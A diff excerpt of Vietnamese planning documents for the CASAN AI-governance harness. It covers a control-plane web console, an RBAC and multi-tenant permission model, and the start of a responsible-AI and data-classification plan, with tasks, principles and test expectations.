> (`phase-control-plane`). Phần đã nhét nhầm trong `apps/okr` đã **gỡ bỏ** (OKR về
|
||||
> sạch: backend 46/0/3-skip, frontend 16/16).
|
||||
> **Còn lại:** web app **React+NestJS độc lập** ở `control-plane/` (sau Plan-01 →
|
||||
> `packages/casan-control-plane/`) — NestJS API **bọc** harness core (single-source
|
||||
> governance) + React UI; RBAC đầy đủ (Plan-14); approval IdP thật (04+07-C4);
|
||||
> FinOps/SLO; deploy prod TLS/OIDC (07 TIER 2).
|
||||
>
|
||||
> Nhãn trạng thái: xem legend ở `CASAN_BACKLOG_STATUS.md`.
|
||||
> Phụ thuộc: **07** (H5 audit, C4 approval/IdP, D3 dashboard hosting, kill-switch) ·
|
||||
> **14** (RBAC — ai được xem/đổi gì) · **04** (đổi setting = proposal→approval→apply) ·
|
||||
> **01** (đường dẫn sau restructure). **Chặn mềm** bởi 14 cho phần quản lý.
|
||||
|
||||
## 1. Quyết định kiến trúc — web app control-plane thật
|
||||
|
||||
> Repo đã có **frontend React + backend NestJS** thật. Control Plane là **web app
|
||||
> thật** (admin/ops console) tích hợp vào stack hiện có. **Sàn tối thiểu = React +
|
||||
> NestJS** (frontend + API thật) — không thấp hơn. **HTML tĩnh KHÔNG bao giờ được
|
||||
> dùng làm control-plane.** Nếu cân nhắc bản nhẹ hơn, nó vẫn phải là web app thật
|
||||
> (ví dụ SPA gọn + API tối thiểu), có đủ monitoring + settings API + governance —
|
||||
> **không phải** trang tĩnh sinh sẵn. Dashboard HTML sinh sẵn hiện tại chỉ giữ vai
|
||||
> trò **export/offline read-only**, không phải control-plane.
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
UI["Ops Console (React)
|
||||
monitor + manage + settings"] --> API["Control-Plane API (NestJS)"]
|
||||
API --> RBAC["RBAC (Plan-14)"]
|
||||
API --> APPROVAL["Proposal→Approval (Plan-04 + 07-C4 IdP)"]
|
||||
API --> AUDIT["H5 audit-chain (mọi thay đổi)"]
|
||||
API --> STORE["Settings store
|
||||
(versioned: policy/threshold/routing)"]
|
||||
API --> READ["Read-only telemetry
|
||||
(metrics/drift/incident/cost)"]
|
||||
READ --> HARNESS["Core harness .specify/**"]
|
||||
STORE --> HARNESS
|
||||
style AUDIT fill:#fff3cd,stroke:#8a6d3b,stroke-width:2px
|
||||
style RBAC fill:#d0e8ff,stroke:#2c3e91,stroke-width:2px
|
||||
```
|
||||
|
||||
## 2. Nguyên tắc (governance-first)
|
||||
- **Đọc ≠ Ghi:** phần **monitoring** đọc telemetry là read-only; phần **management**
|
||||
(đổi settings/threshold/kill-switch) đi qua **RBAC + proposal→approval + H5 audit**.
|
||||
- **Mọi thay đổi setting đều bất biến & rollback được:** ghi audit-chain (H5) +
|
||||
version cũ→mới + actor + reason; hoàn tác qua H7 checkpoint.
|
||||
- **Không nới lỏng bảo mật ngầm:** đổi setting kiểu "nới" (giảm ngưỡng chặn, tắt
|
||||
gate) bắt buộc nhãn `security-sensitive` + duyệt cấp cao (tái dùng Plan-04 §4.8).
|
||||
- **Không đường vòng qua UI:** UI không được bypass gate — nó chỉ ghi vào settings
|
||||
store mà harness đọc; harness vẫn là nguồn quyết định cuối.
|
||||
- **Fail-loud:** control-plane sập/không đọc được telemetry → hiển thị `STALE`/`503`,
|
||||
không hiển thị số liệu cũ như thật (tái dùng `/healthz` stale-aware của D3).
|
||||
|
||||
## 3. Phạm vi tính năng
|
||||
|
||||
### 3.1 Monitoring (mở rộng từ D3 read-only)
|
||||
| Nhóm | Nội dung | Nguồn |
|
||||
|---|---|---|
|
||||
| Harness verdicts | pass/fail từng gate H1→H7 theo run/step | `.specify/logs`, evidence pack |
|
||||
| Cost & token | cost_per_run, token_saved, budget vs actual | H6 telemetry, provider-usage.jsonl |
|
||||
| Drift & quality | drift-report, H3 reject rate, hallucination rate | drift-detect, business-kpi |
|
||||
| Incident | incident severity, kill-switch state | incident.sh, kill-switch.sh |
|
||||
| Traceability | REQ→code→test coverage (Plan-10) | traceability-matrix.json |
|
||||
|
||||
### 3.2 Management / Settings (mới — phần chính)
|
||||
| Setting | Đối tượng file (harness đọc) | Ràng buộc đổi |
|
||||
|---|---|---|
|
||||
| Compression policy (Plan-08) | `compression-policy.yaml` | mode/ratio/exclude/must-keep; đổi → audit |
|
||||
| Thresholds (cost/circuit/FP) | `thresholds.yaml` | siết = duyệt thường; nới = duyệt cấp cao |
|
||||
| Model routing (Plan-03/02) | `model-fallback.yaml` | đổi provider/model → approval |
|
||||
| Kill-switch (Plan-07 C7) | `kill-switch` scope | engage/disengage → HIGH audit + alert |
|
||||
| Approval reviewers (Plan-07 C4) | `reviewers.registry` | chỉ org-admin (RBAC Plan-14) |
|
||||
| Feature flags (bật/tắt track) | mới `feature-flags.yaml` | audit |
|
||||
|
||||
### 3.3 FinOps & SLO (gộp vào đây, không tách plan)
|
||||
- Budget theo dự án/org + cảnh báo vượt; biểu đồ xu hướng cost/token.
|
||||
- SLO/KPI platform (block_rate, FP, token_saved, time_to_approval…) — kế thừa Future B6.
|
||||
|
||||
### 3.4 Human-in-the-loop surface (hiện thân của "Human-led, AI-first" — FPT §4.3/§4.4)
|
||||
> Control Plane là **nơi con người nhìn thấy & hành động** trong vòng lặp — làm cho
|
||||
> tư tưởng Human-led, AI-first **hiển thị được**, không chỉ là approval token ngầm.
|
||||
|
||||
| Thành phần | Nội dung | Nguồn |
|
||||
|---|---|---|
|
||||
| **Approvals inbox** | Hàng đợi hành động **đang chờ người duyệt** (setting nhạy cảm, nới ngưỡng, kill-switch, self-improve proposal) → duyệt/từ chối kèm lý do; verify JWT (SEC-07), chống replay (X-06), SoD | control-plane-settings + approval-verify + self-improve |
|
||||
| **Delegation level L0–L5** | Đặt **mức uỷ quyền AI per project/action** theo CASAN §4.4 (L1 người duyệt toàn bộ … L5 tự chủ vùng đã governance); mức quyết định hành động nào cần vào inbox | mới `delegation-policy.yaml` (managed qua Control Plane) |
|
||||
| **Oversight log** | Nhật ký **ai duyệt/từ chối, khi nào, vì sao** + human-oversight events (kill-switch, override) — cho RAI report (Plan-15) | H5 audit + governance-report |
|
||||
| **Pending gate view** | Hiển thị step đang bị chặn chờ người (REQUIRE_APPROVAL) + context để quyết | security-check/action-gate verdict |
|
||||
|
||||
**Tasks (bổ sung Plan-13):**
|
||||
| Task | Việc | Verify |
|
||||
|---|---|---|
|
||||
| 13H.1 | `delegation-policy.yaml` (L0–L5 per project/action) + resolver: mức quyết định action nào cần approval | đổi mức → action tương ứng vào/không-vào inbox |
|
||||
| 13H.2 | Approvals inbox API + UI: list pending → approve/reject (JWT + SoD + reason), ghi audit | reject có lý do; approve JWT giả → DENY |
|
||||
| 13H.3 | Oversight log view (ai-duyệt-gì) + xuất vào RAI report | 1 quyết định → truy được actor/reason/time |
|
||||
|
||||
> Nguyên tắc: mức uỷ quyền **chỉ giảm human-gate khi rủi ro thấp**; nới mức (tăng tự chủ) là thay đổi **security-sensitive** → cần approval cấp cao. Đây là điểm nối trực tiếp giữa tư tưởng CASAN và bề mặt vận hành.
|
||||
|
||||
## 4. Tasks theo track
|
||||
|
||||
### Track 1 — Read-only monitoring API + console
|
||||
| Task | Việc | Verify | Done |
|
||||
|---|---|---|---|
|
||||
| 13.1 | Control-Plane API (NestJS) đọc telemetry/audit/traceability (read-only) | GET trả metrics đúng nguồn | API đọc được |
|
||||
| 13.2 | Ops Console (React) hiển thị verdicts/cost/drift/incident/traceability | render đúng số liệu, stale→badge | console xem được |
|
||||
| 13.3 | Stale-aware `/healthz` + hiển thị `STALE` khi telemetry chết | ngắt telemetry → UI báo stale, không giả tươi | fail-loud |
|
||||
|
||||
### Track 2 — Settings store versioned + audit
|
||||
| Task | Việc | Verify | Done |
|
||||
|---|---|---|---|
|
||||
| 13.4 | Settings store versioned (đọc/ghi các *.yaml harness dùng) | ghi setting → version mới + giữ cũ | store hoạt động |
|
||||
| 13.5 | Mọi thay đổi → H5 audit-chain (actor/reason/diff) | sửa 1 setting → audit có bản ghi; sửa lén file → mismatch | bất biến |
|
||||
| 13.6 | Rollback setting qua H7 checkpoint | rollback → về version cũ, có audit | hoàn tác được |
|
||||
|
||||
### Track 3 — Management có governance (RBAC + approval)
|
||||
| Task | Việc | Verify | Done |
|
||||
|---|---|---|---|
|
||||
| 13.7 | Gắn RBAC (Plan-14): role quyết định xem/đổi setting nào | viewer đổi setting → DENY; admin → cho | phân quyền |
|
||||
| 13.8 | Đổi setting nhạy cảm → proposal→approval (Plan-04 + 07-C4 IdP) | nới ngưỡng → yêu cầu duyệt cấp cao mới apply | approval gate |
|
||||
| 13.9 | Kill-switch engage/disengage qua UI → HIGH audit + alert (Plan-07 C7/D1) | engage → harness từ chối chạy + alert bắn | kill-switch UI |
|
||||
|
||||
### Track 4 — FinOps / SLO / production deploy
|
||||
| Task | Việc | Verify | Done |
|
||||
|---|---|---|---|
|
||||
| 13.10 | Budget theo dự án/org + cảnh báo vượt | vượt budget → cảnh báo + chặn theo policy | FinOps |
|
||||
| 13.11 | SLO/KPI board (kế thừa Future B6) | KPI hiển thị theo thời gian | KPI board |
|
||||
| 13.12 | Deploy production: host + TLS + OIDC (nối Plan-07 T2.3/T2.6) | truy cập qua HTTPS + OIDC, không auth → chặn | prod deploy |
|
||||
|
||||
## 5. Red-team / test
|
||||
| Test | Kỳ vọng |
|
||||
|---|---|
|
||||
| `adv-settings-change-no-audit` (đổi setting bỏ qua audit) | BLOCK / phát hiện mismatch |
|
||||
| `adv-loosen-threshold-no-approval` (nới ngưỡng không duyệt) | DENY |
|
||||
| `adv-viewer-writes-setting` (role thấp ghi setting) | DENY (RBAC) |
|
||||
| `adv-ui-bypass-gate` (UI cố ghi verdict trực tiếp) | không thể — UI chỉ ghi settings store |
|
||||
| `adv-stale-telemetry-shown-fresh` (telemetry chết vẫn hiện tươi) | UI báo STALE |
|
||||
| `benign-settings-roundtrip` (đổi hợp lệ + rollback) | PASS + audit đầy đủ |
|
||||
|
||||
## 6. Tiêu chí HOÀN THÀNH
|
||||
- [ ] Monitoring đọc đúng telemetry, stale-aware, không giả số liệu.
|
||||
- [ ] Mọi thay đổi setting: RBAC + (approval nếu nhạy cảm) + H5 audit + rollback được.
|
||||
- [ ] UI không bypass được gate; harness vẫn là nguồn quyết định cuối.
|
||||
- [ ] Compression-policy (Plan-08) + thresholds + model routing + kill-switch quản lý được qua console.
|
||||
- [ ] Deploy production có TLS + OIDC (nối Plan-07 TIER 2).
|
||||
- [ ] Red-team mục 5 xanh; core harness 218/0 không tụt.
|
||||
|
||||
## 7. Ghi chú trung thực
|
||||
- Đây là **[mới]** — repo hiện chỉ có dashboard read-only, chưa có management/settings/RBAC.
|
||||
- Control Plane **không** thay quyền quyết định của harness; nó là lớp quản trị + quan sát có governance.
|
||||
- Phần "quản lý" chỉ an toàn khi Plan-14 (RBAC) + Plan-04 (approval) + Plan-07 C4 (IdP) đủ vững.
|
||||
|
||||
## 8. Kế hoạch thực thi — web app độc lập (P2, CHƯA build; ưu tiên core harness trước)
|
||||
|
||||
> Governance core (settings + RBAC) đã nằm trong harness và test xanh. Web app chỉ
|
||||
> là **lớp trình bày** bọc core — vì vậy **hoãn build** cho tới khi các phần core
|
||||
> harness ưu tiên hơn xong. Đây là kế hoạch chi tiết để bất kỳ ai bắt tay được ngay.
|
||||
|
||||
**Vị trí:** `AINative_OKR_CASAN5/control-plane/` (sibling backend/frontend/.specify; post Plan-01 → `packages/casan-control-plane/`). **KHÔNG** nằm trong `apps/okr`.
|
||||
|
||||
**Nguyên tắc:** NestJS API **không** chứa logic governance — mọi set/rollback/authz **gọi harness CLI** (`control-plane-settings.py`, `rbac-check.py`) để governance chỉ có **một nguồn** trong harness. UI role-gated. Harness vẫn là nguồn quyết định cuối.
|
||||
|
||||
**Cấu trúc & tasks:**
|
||||
|
||||
| Task | Việc | Verify |
|
||||
|---|---|---|
|
||||
| 13W.1 | `control-plane/api` (NestJS): `main.ts`, `app.module.ts`, `harness.service.ts` (exec `control-plane-settings.py` + `rbac-check.py` qua child_process), `control-plane.controller.ts` (GET settings/monitoring/audit; POST set/rollback → gọi `rbac-check` trước, rồi `control-plane-settings.py`) | build tsc |
|
||||
| 13W.2 | `api/test/control-plane.e2e.test.ts`: viewer→403, org-admin→200; set thật ghi vào harness store; sensitive không approval→403 | node --test |
|
||||
| 13W.3 | `control-plane/web` (Vite React): `App.tsx`, `MonitoringCards`/`SettingsTable` (tái tạo), `lib/api.ts` gọi API | vite build |
|
||||
| 13W.4 | `web/src/__tests__/*.test.tsx`: RBAC gating (canEdit), stale badge | vitest |
|
||||
| 13W.5 | Deploy prod: host + TLS + OIDC (nối Plan-07 T2.3/T2.6) | 🔌 needs-infra |
|
||||
|
||||
**Chi phí:** 2 `npm install` + 2 build + 2 test (Windows Node, `NODE_OPTIONS=--use-system-ca`).
|
||||
**Bất biến:** app độc lập, không đụng OKR/core harness 245/0.
|
||||
|
||||
---
|
||||
|
||||
## 8.6 CASAN Command Center — trực quan hóa TƯ TƯỞNG lõi cho lãnh đạo
|
||||
|
||||
> **Mục tiêu:** tư tưởng CASAN không chỉ nằm trong code mà **hiện rõ trên giao diện** —
|
||||
> lãnh đạo nhìn phát **wow ngay**. Nhưng "wow" phải là **wow thực chất**: mọi con số
|
||||
> đọc từ artifact thật của core, **click xuống được bằng chứng**. Đây là "kính buồng
|
||||
> lái", **không phải áp phích**.
|
||||
|
||||
### Nguyên tắc bất di (chống "dashboard diễn")
|
||||
1. **Real glass, not paint** — mỗi widget đọc từ artifact core ĐÃ CÓ (không bịa số).
|
||||
2. **Provenance envelope bắt buộc** — mọi số kèm `{source, artifact_path, commit, run_at}`; UI hiển thị badge nguồn. Thiếu provenance → **không render số**, hiện "chưa có dữ liệu".
|
||||
3. **Click-to-evidence khắp nơi** — click số → mở audit/trace/log gốc. Đây là điểm phân biệt sống còn với demo thường: *"Không tin? Bấm xem tận gốc."*
|
||||
4. **Không vanity metric** — cấm widget mà data phải phỏng đoán (vd "ROI dự phóng"). Chỉ hiển thị cái core chứng minh được — nếu không, phá vỡ chính tư tưởng evidence-based.
|
||||
5. **Fail-honest** — data cũ/không verify được → badge vàng "stale", audit hỏng → seal đỏ. Không bao giờ tô xanh khi chưa chứng thực.
|
||||
|
||||
### 8 widget — mỗi cái map 1 tư tưởng, gắn nguồn thật
|
||||
|
||||
| # | Widget | Tư tưởng CASAN | Artifact nguồn (đã có) | API |
|
||||
|---|---|---|---|---|
|
||||
| V1 | **Maturity gauge + radar H1–H7** (hero) | 5 mức CASAN + 7 thành phần harness | `scoring-report*.md`, governance-report | `GET /command/maturity` |
|
||||
| V2 | **Human-in-the-loop panel**: vòng L0–L5 + approvals inbox + feed "AI đề xuất → người quyết" | Human-led, AI-first (§4.3/4.4) | delegation-policy, approval store, self-improve | `GET /command/hitl`, `POST /command/approve` |
|
||||
| V3 | **Kill-switch đỏ + guardrail badges** (deny-by-default) | Kiểm soát / rollback / accountability | control-plane kill-switch state | `GET/POST /command/killswitch` |
|
||||
| V4 | **Traceability Sankey**: Yêu cầu→Code→Test→Evidence, gap đỏ | Truy vết, không code mồ côi | `traceability-matrix.py --json` | `GET /command/traceability` |
|
||||
| V5 | **Security posture**: "N tấn công → N chặn, block_rate %" + red-team | Security-by-default, fail-closed | attack-catalog, security-check verdicts | `GET /command/security` |
|
||||
| V6 | **Token economy / FinOps**: token tiết kiệm nhờ nén → quy ra $ | Context engineering, kỷ luật chi phí | `context-compress.py` stats | `GET /command/finops` |
|
||||
| V7 | **Certified-run seal**: CERTIFIED/NOT_CERTIFIED + toàn vẹn audit-chain | Evidence + accountability + audit integrity | `governance-report.py` + `verify-audit` | `GET /command/certification` |
|
||||
| V8 | **Self-improve pipeline**: propose → chờ duyệt → applied | Tự cải thiện CÓ kiểm soát | `self-improve.py` proposals | `GET /command/selfimprove` |
|
||||
|
||||
### 3 tính năng "chốt hạ"
|
||||
- **Executive Briefing mode (1 nút)** — gộp thành 1 màn kể chuyện: *Trưởng thành → Kiểm soát (HITL + kill-switch) → An toàn (block rate) → Tiết kiệm ($) → Đã chứng thực (seal)*. **Song ngữ VI/EN** cho lãnh đạo + đối tác quốc tế.
|
||||
- **Live governance ticker** — dòng sự kiện chạy realtime: *"14:03 AI xin nới ngưỡng → Trưởng phòng TỪ CHỐI"*, *"14:05 Certified run #128 ✅"*. Biến governance trừu tượng thành thứ **nhìn thấy đang sống**.
|
||||
- **Evidence drawer** — panel trượt ra khi click bất kỳ số nào: hiển thị artifact JSON gốc + commit + link chạy lại lệnh core sinh ra số đó.
|
||||
|
||||
### Data contract (để "wow thực chất")
|
||||
- API **không tính toán governance** — chỉ **đọc & bọc** artifact core (`.specify/artifacts/*.json`) + gọi CLI (`governance-report.py`, `traceability-matrix.py --json`, `context-compress.py --stats`). Nguồn quyết định vẫn là harness.
|
||||
- Thêm cờ `--json` cho các script core còn thiếu (traceability đã có; bổ sung cho security-check/context-compress/self-improve) → **task core**, verify trong WSL.
|
||||
- Mỗi response bọc `envelope: {source, artifact_path, commit, run_at, verified: bool}`.
|
||||
|
||||
### Tasks (bổ sung Plan-13; UI theo chuẩn UI/UX hạng nhất — sizing/touch-target/hover đồng nhất)
|
||||
| Task | Việc | Verify |
|
||||
|---|---|---|
|
||||
| 13V.0 | **Core**: thêm `--json` cho security-check / context-compress / self-improve; chuẩn hóa envelope provenance | WSL: JSON hợp lệ, có `verified` |
|
||||
| 13V.1 | API `command.controller.ts` (8 endpoint đọc-only + approve/killswitch) — chỉ đọc artifact + gọi CLI, RBAC-gated | e2e: viewer đọc OK, ghi→403 |
|
||||
| 13V.2 | V1 Maturity gauge + radar H1–H7 (click cạnh → evidence drawer) | vitest: render từ fixture, click mở drawer |
|
||||
| 13V.3 | V2 HITL panel + approvals inbox (approve/reject cần JWT+SoD+lý do) | reject có lý do; JWT giả→DENY |
|
||||
| 13V.4 | V3 kill-switch + guardrail badges; V7 certified seal (audit tamper→đỏ) | tamper fixture → seal NOT_CERTIFIED |
|
||||
| 13V.5 | V4 traceability Sankey + gap đỏ; V5 security posture; V6 FinOps token→$ | số khớp artifact fixture |
|
||||
| 13V.6 | V8 self-improve pipeline (propose≠apply hiển thị rõ) | proposal chờ duyệt render đúng |
|
||||
| 13V.7 | Executive Briefing mode (song ngữ VI/EN) + Live ticker (SSE/poll) + Evidence drawer dùng chung | vitest; toggle ngôn ngữ |
|
||||
| 13V.8 | Provenance guard: thiếu envelope→"chưa có dữ liệu"; stale→badge vàng | fixture thiếu source → không render số |
|
||||
|
||||
> **Ưu tiên:** nâng **A-webapp lên P2** (đòn bẩy giá trị lớn nhất: biến core vô hình → giá trị lãnh đạo thấy được). Vẫn sau các phần core harness P1. 13V.0 (core `--json`) làm trước, verify WSL; phần UI làm khi dựng web app.
|
||||
|
||||
---
|
||||
_Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (D3 dashboard, C4 IdP, C7 kill-switch, TIER 2 deploy) · `CASAN_PLAN_14_RBAC.md` (phân quyền) · `CASAN_PLAN_04_SELFIMPROVE.md` (proposal→approval) · `CASAN_PLAN_08_CONTEXT_COMPRESSION.md` (compression-policy là settings) · `CASAN_PLAN_15_RESPONSIBLE_AI_DATA_GOV.md` (RAI/data view)._
|
||||
@@ -0,0 +1,88 @@
|
||||
# KẾ HOẠCH 14 — RBAC & Quản trị đa dự án (Multi-tenant governance)
|
||||
|
||||
> Status 2026-07-06: **� core implemented + tested (harness-owned).**
|
||||
> RBAC decision engine đã dời/đặt trong harness: `.specify/scripts/bash/rbac-check.py`
|
||||
> (role×resource:action, scope org/project, deny-by-default fail-closed, tenant
|
||||
> isolation, sensitive-settings-write chỉ org-admin, SoD chống tự duyệt). Test
|
||||
> `.specify/tests/phase-rbac-tests.sh` **10/0 (WSL)**, nối CI (`phase-rbac`).
|
||||
> Còn lại: ánh xạ IdP claim → role thật (nối 07-C4), enforcement point trong web app
|
||||
> Control Plane (Plan-13), audit mọi quyết định RBAC vào H5, quản lý role qua UI.
|
||||
>
|
||||
> Nhãn trạng thái: xem legend ở `CASAN_BACKLOG_STATUS.md`.
|
||||
> Phụ thuộc: **07 C4** (IdP/OIDC — nguồn danh tính) · **13** (Control Plane tiêu thụ
|
||||
> RBAC) · **06** (đa dự án — phạm vi tenant). **Chặn mềm** phần quản lý của 13.
|
||||
|
||||
## 1. Bối cảnh
|
||||
- **Đã có:** IdP/OIDC JWT (RS256) chứng minh `sub`/`role`/`exp` + bind request
|
||||
(Plan-07 C4); `reviewers.registry`; `project-registry.json` (project + domain).
|
||||
- **Chưa có:** ma trận quyền (role × resource × action), phạm vi tenant (org →
|
||||
project), kế thừa quyền, và điểm thực thi (enforcement point) thống nhất.
|
||||
|
||||
## 2. Nguyên tắc
|
||||
- **Least privilege mặc định:** không role → không quyền; quyền phải cấp tường minh.
|
||||
- **Deny-by-default + fail-closed:** thiếu/không rõ quyền → DENY, không "cho tạm".
|
||||
- **Tenant isolation:** dữ liệu/domain/telemetry của dự án A không lộ sang dự án B.
|
||||
- **Separation of Duties (SoD):** người đề xuất ≠ người duyệt (kế thừa C4).
|
||||
- **Mọi quyết định RBAC ghi audit (H5):** ai, tài nguyên nào, cho/từ chối, vì sao.
|
||||
- **Nguồn danh tính là IdP (C4), không tự chế:** RBAC chỉ ánh xạ identity→quyền.
|
||||
|
||||
## 3. Mô hình quyền (đề xuất)
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
ORG["Org (tenant gốc)"] --> PROJ["Project (OKR, dự án 2…)"]
|
||||
PROJ --> RES["Resource: settings / telemetry / approval / kill-switch / domain-data"]
|
||||
ROLE["Role: org-admin · project-admin · approver · operator · viewer · auditor"] --> PERM{"Permission<br/>role × resource × action"}
|
||||
RES --> PERM
|
||||
PERM --> ENF["Enforcement point<br/>(Control-Plane API + harness gate)"]
|
||||
ENF --> AUDIT["H5 audit"]
|
||||
style ENF fill:#d0e8ff,stroke:#2c3e91,stroke-width:2px
|
||||
style AUDIT fill:#fff3cd,stroke:#8a6d3b,stroke-width:2px
|
||||
```
|
||||
|
||||
### 3.1 Role gợi ý
|
||||
| Role | Xem | Đổi setting | Duyệt | Kill-switch | Phạm vi |
|
||||
|---|:--:|:--:|:--:|:--:|---|
|
||||
| org-admin | ✓ | ✓ | ✓ | ✓ | toàn org |
|
||||
| project-admin | ✓ | ✓ (không nhạy cảm) | – | project scope | 1 project |
|
||||
| approver | ✓ | – | ✓ | – | được gán |
|
||||
| operator | ✓ | – | – | engage (báo cáo) | 1 project |
|
||||
| viewer | ✓ | – | – | – | được gán |
|
||||
| auditor | ✓ (+audit log) | – | – | – | toàn org (read) |
|
||||
|
||||
## 4. Tasks
|
||||
|
||||
| Task | Việc | File/Đối tượng | Verify | Done |
|
||||
|---|---|---|---|---|
|
||||
| 14.1 | Định nghĩa schema `rbac-policy.yaml` (role × resource × action + scope) | mới `config/rbac-policy.yaml` | policy load hợp lệ | schema chốt |
|
||||
| 14.2 | Ánh xạ IdP claim (`role`, `groups`) → role RBAC | nối Plan-07 C4 | JWT role → RBAC role đúng | mapping chạy |
|
||||
| 14.3 | Enforcement point thống nhất: mọi API/gate gọi `rbac-check` trước hành động | mới `rbac-check.sh`/service | thiếu quyền → DENY fail-closed | 1 điểm thực thi |
|
||||
| 14.4 | Tenant isolation: telemetry/domain-data theo project scope | Control-Plane API | user project A không đọc B | cách ly tenant |
|
||||
| 14.5 | SoD: người đề xuất ≠ người duyệt (kế thừa C4) | governance-check | tự duyệt đề xuất của mình → DENY | SoD giữ |
|
||||
| 14.6 | Ghi audit mọi quyết định RBAC (allow/deny + reason) | H5 audit | deny có bản ghi truy vết | audit đầy đủ |
|
||||
| 14.7 | Quản lý role/gán quyền qua Control Plane (chỉ org-admin) | Plan-13 UI | non-admin đổi role → DENY | quản trị quyền |
|
||||
|
||||
## 5. Red-team / test
|
||||
| Test | Kỳ vọng |
|
||||
|---|---|
|
||||
| `adv-viewer-writes-setting` | DENY |
|
||||
| `adv-cross-tenant-read` (project A đọc B) | DENY |
|
||||
| `adv-self-approve` (đề xuất tự duyệt) | DENY (SoD) |
|
||||
| `adv-missing-role-defaults-allow` (thiếu role vẫn cho) | DENY (deny-by-default) |
|
||||
| `adv-forged-role-claim` (JWT role giả) | DENY (verify chữ ký IdP — C4) |
|
||||
| `benign-role-grant-roundtrip` (org-admin gán role hợp lệ) | PASS + audit |
|
||||
|
||||
## 6. Tiêu chí HOÀN THÀNH
|
||||
- [ ] `rbac-policy.yaml` + enforcement point thống nhất, deny-by-default fail-closed.
|
||||
- [ ] IdP claim → RBAC role; role giả bị chặn (verify qua C4).
|
||||
- [ ] Tenant isolation: không rò dữ liệu chéo dự án.
|
||||
- [ ] SoD giữ; mọi quyết định RBAC có audit H5.
|
||||
- [ ] Control Plane (Plan-13) dùng RBAC cho toàn bộ hành động quản lý.
|
||||
- [ ] Red-team mục 5 xanh; core harness 218/0 không tụt.
|
||||
|
||||
## 7. Ghi chú trung thực
|
||||
- **[mới]** — hiện chỉ có approval-identity (C4), chưa có mô hình quyền đầy đủ.
|
||||
- RBAC không thay IdP; nó ánh xạ identity (đã verify) → quyền, thực thi fail-closed.
|
||||
|
||||
---
|
||||
_Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (C4 IdP/OIDC — nguồn danh tính) · `CASAN_PLAN_13_CONTROL_PLANE.md` (tiêu thụ RBAC) · `CASAN_PLAN_06_ONBOARD.md` (đa dự án → phạm vi tenant)._
|
||||
@@ -0,0 +1,80 @@
|
||||
# KẾ HOẠCH 15 — Responsible AI & Data Governance
|
||||
|
||||
> Status 2026-07-06: **🟡 core implemented + tested (harness-owned) + enforced.**
|
||||
> Guard đã đặt trong harness: `.specify/scripts/bash/rai-guard.py` — `classify`
|
||||
> (PII/confidential/internal), `check-cloud` (PII/confidential → cloud không approval
|
||||
> ⇒ DENY, mở rộng C3), `model-card` (chặn model không card/thiếu field), **`retention`**
|
||||
> (gate breach + purge-có-audit), **`report`** (phân bố nhạy cảm). **Enforcement:**
|
||||
> `harness-preflight.sh` chặn PII→cloud TRƯỚC model-call; `model-router.sh` gọi preflight
|
||||
> khi `CASAN_PREFLIGHT=1` (opt-in, short-circuit). Test `phase-rai-tests.sh` **12/0** +
|
||||
> `phase-preflight-tests.sh` **5/0** (WSL), nối CI.
|
||||
> Còn lại: RAI report vào Evidence Pack (đã có governance-report tie-in); view trên Control Plane.
|
||||
>
|
||||
> Nhãn trạng thái: xem legend ở `CASAN_BACKLOG_STATUS.md`.
|
||||
> Phụ thuộc: **07** (C3 data-exfil, H5 audit) · **13** (view RAI/data trên Control
|
||||
> Plane) · **09** (Evidence Pack — nơi xuất báo cáo RAI). Bổ trợ **10** (traceability).
|
||||
|
||||
## 1. Bối cảnh (đối chiếu FPT §14.3–14.4)
|
||||
- **§14.3 Data readiness:** dữ liệu cần có chủ sở hữu, phân loại (public/internal/
|
||||
confidential/PII), chất lượng, và chính sách vòng đời (retention/xoá).
|
||||
- **§14.4 Responsible AI:** minh bạch (model card, nguồn dữ liệu), công bằng/an toàn
|
||||
nội dung, con người giám sát, khả năng giải trình & truy vết quyết định của AI.
|
||||
- **Đã có (điểm):** C3 mask PII trong audit; H4 content-safety/injection; H5 audit
|
||||
chain; H3 faithfulness. **Chưa có (khung):** classification policy, retention,
|
||||
model card, RAI report.
|
||||
|
||||
## 2. Nguyên tắc
|
||||
- **Phân loại trước khi xử lý:** dữ liệu vào pipeline phải gắn nhãn phân loại; PII/
|
||||
confidential kích hoạt kiểm soát chặt hơn (không lên cloud model nếu chưa duyệt).
|
||||
- **Minh bạch model:** mỗi model dùng (local/cloud) có **model card** (nguồn, phiên
|
||||
bản/digest, vai trò, giới hạn, rủi ro) — nối Plan-07 B4 (digest pinning).
|
||||
- **Con người giám sát rủi ro cao:** quyết định rủi ro cao có human-in-the-loop
|
||||
(nối C4 approval).
|
||||
- **Giải trình được:** mọi output AR có thể truy về requirement→code→test (Plan-10)
|
||||
+ prompt/model/token (H5) → RAI report tổng hợp.
|
||||
- **Retention & xoá có chính sách:** dữ liệu/telemetry có thời hạn giữ; xoá ghi audit.
|
||||
|
||||
## 3. Tasks
|
||||
|
||||
### Track 1 — Data classification & PII/retention
|
||||
| Task | Việc | File | Verify | Done |
|
||||
|---|---|---|---|---|
|
||||
| 15.1 | `data-classification.yaml`: nhãn (public/internal/confidential/PII) + rule gắn nhãn | mới `config/data-classification.yaml` | dữ liệu gắn nhãn đúng | schema chốt |
|
||||
| 15.2 | Gate: PII/confidential **không** lên cloud model nếu chưa duyệt (nối C3/C4) | `data-exfil-guard.sh` mở rộng | PII→cloud chưa duyệt → BLOCK | gate chạy |
|
||||
| 15.3 | Retention policy + xoá có audit | mới `retention-policy.yaml` + script | hết hạn → xoá + audit bản ghi | vòng đời dữ liệu |
|
||||
|
||||
### Track 2 — Model card & minh bạch
|
||||
| Task | Việc | File | Verify | Done |
|
||||
|---|---|---|---|---|
|
||||
| 15.4 | `model-card.yaml` mỗi model (nguồn/digest/vai trò/giới hạn/rủi ro) | mới, nối B4 digest | model dùng có card + digest khớp | minh bạch model |
|
||||
| 15.5 | Chặn model không có card/không pinned trong prod | `model-router.sh` | model lạ → yêu cầu card/approval | provenance |
|
||||
|
||||
### Track 3 — RAI report & giải trình
|
||||
| Task | Việc | File | Verify | Done |
|
||||
|---|---|---|---|---|
|
||||
| 15.6 | RAI report tổng hợp: classification coverage, PII handling, model cards, human-oversight events, traceability | Evidence Pack (Plan-09) | pack có mục RAI | báo cáo RAI |
|
||||
